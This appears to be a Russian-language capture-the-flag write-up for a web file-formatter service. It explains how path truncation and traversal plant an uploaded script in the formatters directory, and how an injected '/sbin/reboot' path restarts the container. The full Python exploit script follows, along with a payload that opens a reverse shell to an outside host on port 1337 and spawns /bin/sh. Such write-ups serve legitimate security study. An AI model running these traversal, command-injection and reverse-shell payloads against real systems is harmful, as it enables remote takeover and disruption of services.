- Сразу в глаза бросается следующая строчка кода:
saved_path = str(saved_path)[:100]- Это даёт нам возможность сохранить файл пути, отличному от formatter'а.
- Благодоря этому мы можем создать файл по любому пути - например, в
/app/formatters. saved_pathвсегда начинается сuploads/+ рандомный UUID и-.- Соответсвтвенно, нам нужен
formatterдлиной 100 - 8 - 36 - 1 = 55 символов. - После 55 символов мы можем изменить путь для
check_output, у меня за это отвечает/../yaml - В итоге, мы получаем
../../../../../../../../../../../app/formatters/payload/../yaml.
- Программа делает все formatter'ы исполняемыми при запуске
- Соответсвенно, нам нужно перезагрузить контейнер, либо крашнуть воркер.
- Вспоминаем про существование
/sbin/rebootи то, что у нас есть path injection. - Отправляем
formatterсо значением/../../sbin/rebootи ждем пару секунд.
- Самое очевидное - просто отправляем
formatterсо значениемpayload:p
Исходный код решения
import requests, time
url = "http://localhost:5467/format"
print('uploading payload')
requests.post(url, files={'file': open('payload.py','rb')},
data={'formatter': '../../../../../../../../../../../app/formatters/payload/../yaml'})
print('restarting container')
requests.post(url, files={'file': open('/dev/null','rb')},
data={'formatter': '/../../sbin/reboot'})
time.sleep(5)
print('running payload')
requests.post(url, files={'file': open('/dev/null','rb')},
data={'formatter': 'payload'})#!/usr/local/bin/python
import socket, os, pty
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("[REDACTED]", 1337))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/sh")
except:
pass